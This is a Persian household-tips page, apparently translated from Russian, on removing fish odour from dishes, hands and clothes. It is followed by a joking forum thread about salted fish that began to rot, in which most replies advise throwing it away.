همچنین می توانید با پاک کردن ظروف با نمک گرم شده و آبکشی در آب سرد بوی ماهی را از بین ببرید.

اگر بوی ماهی روی کارد و چنگال و بشقاب ها باقی ماند، باید آنها را در آب سرد و صابون بشویید، سپس آنها را با روغن نباتی چرب کنید و با حوله کاملا پاک کنید.
در صورت لزوم، دوباره با آب صابون و آب جاری شستشو دهید.

نحوه حذف سریع ماهی دودی بودر دستان؟
شستن دست ها با صابون فایده ای ندارد. بوی ماهی دودی (ماهی خال مخالی، شاه ماهی، سوری) همچنان در انگشتان شما باقی خواهد ماند. در این مورد، شستن دست ها با آب گرم یا گرم به ویژه توصیه نمی شود. بو فقط قوی تر می شود.

پس با چه چیزی باید دستان خود را بشویید؟ ... آبجو در مبارزه برای از بین بردن بوی گوشت دودی به کمک خواهد آمد. بله، بله - آبجو. علاوه بر این، هر دو روشن و تاریک مناسب هستند، همچنین می توانید آبجو بدون فیلتر مصرف کنید. اگر در طبیعت ماهی خورده اید، به سادگی کمی آبجو روی انگشتان خود بر روی علف بریزید و آن را در کف دست خود بمالید. سپس به سادگی دستان خود را با آب تمیز بشویید.

اگر در خانه هستید، یک سواب پنبه یا یک تکه گاز بردارید و آن را با آبجو مرطوب کنید. سپس انگشتان خود را پاک کنید. و سپس دستان خود را با صابون و آب سرد بشویید. اگر اولین بار بوی ماهی دودی از بین نرفت، دوباره انگشتان خود را با آبجو بمالید، قطعا بوی آن از بین می رود.

چگونه بوی ماهی را از دست ها پاک کنیم؟

دستان خود را با آب نمک سرد بشویید و با آب لیمو بمالید و با آب سرد بشویید

چگونه بوی ماهی را از روی لباس از بین ببریم؟
قبل از شستن لباس ها را حدود چهل دقیقه در محلول 2 قاشق غذاخوری سرکه در 2 لیتر آب گرم خیس کنید. سپس لباس های خود را با صابون لباسشویی بشویید و هر چه صابون تیره تر باشد، بهتر است، زیرا حاوی مواد قلیایی بیشتری است.

همچنین محلول غلیظ نمک خوراکی برای از بین بردن بوی ماهی از لباس ها به خوبی عمل می کند.

اگر لباس‌ها سفید هستند، باید لباس‌ها را به مدت نیم ساعت با صابون لباس‌شویی بجوشانید (روی رنده درشت رنده کنید).
چندین بار آبکشی کنید. وقتی برای آخرین بار آبکشی کردید یک قاشق سرکه سفره اضافه کنید.
اگر در زمستان لباس می‌شویید، سعی کنید لباس‌های تمیز را در بالکن «یخ بزنید».

اگر ماهی در هنگام نمک زدن کمی پوسیده شده باشد، چگونه می توانم قبل از خشک شدن بو را از بین ببرم؟ و بهترین پاسخ را گرفت

پاسخ از واوان[گورو]
داخل کاغذ می پیچیدم و می گذاشتم یخچال، اواپراتور رطوبت اضافی را بیرون می آورد و از فاسد شدن ماهی جلوگیری می کرد.

پاسخ از برادر[گورو]
روز بعد، پس از حلق آویز کردن، یک هفته باران شروع به باریدن کرد.
نمک زیادی اضافه نکردم (من نمک کم نمک را دوست دارم)، اما روز چهارم مجبور شدم آن را دور بریزم.

پاسخ از اورا مالیشف[گورو]
بوی ماهی گندیده با انداختن آن در سطل زباله از بین می رود.

پاسخ از ادوارد هالفورد[گورو]
بسیاری از مردمان شمالی غذاهای لذیذی مانند ماهی با طعم دارند. (به نام "سفیر شمالی") در جمهوری کومی یک نام محلی نیز داریم - ماهی سفیر پچورا. چیز وحشتناک است - نه تنها خوردن آن غیرممکن است، بلکه بوییدن آن نیز غیرممکن است. اما هنوز هم لذیذهای خود را پیدا می کند. حتی ما طنز محلی داریم. اگر هر یک از (هر کدام) محصولات بوی بد، فاسد یا فاسد شود، می گویند گوشت نمک پچورا، شیر نمک پچورا و غیره.
P.S. نگران نباشید. قاطع باشید و قلدر نباشید - بیرون بیاندازید!! !
P.S. درست قبل از دور انداختن، حداقل آن را از نمک اضافی بشویید - شاید یک سگ ولگرد آن را بخورد و این مفید باشد.

پاسخ از LLC Avantage Production[تازه کار]
سوشی بنابراین ماهی "خوشمزه" خواهد بود. برخی از مردم فقط از این گونه ماهی ها می خورند.

پاسخ از یرگی[گورو]
شنیپلسون!
بدبو - خوشبو نیست!

پاسخ از وانیا[گورو]
دی کلرووس

پاسخ از ASIC[کارشناس]
بگذارید بو کند، حتی خوشمزه تر می شود. mmmmmm

پاسخ از ایزولد[گورو]
ما چنین ماهی هایی را در سطل زباله داریم که اکنون در حال خشک شدن هستند.

پاسخ از خانم کرولیکوف[گورو]
روش دور انداختن، مهم نیست که چقدر غم انگیز به نظر می رسد... 🙁

پاسخ از جرگه_[گورو]
نه، چرا ماهی بد مزه بخوریم؟
هیچ ماهیگیر محترمی این را نمی خورد!
در Peressyp به راحتی می توانید برای این کار به چشم ضربه بزنید. و با این حال مردم حق خواهند داشت =) هر معده ای حاضر نیست این را هضم کند))
اگر اسهال وجود داشته باشد چه؟ پس چی؟ لعنتی پاروهایت را خشک کن آقا خوب))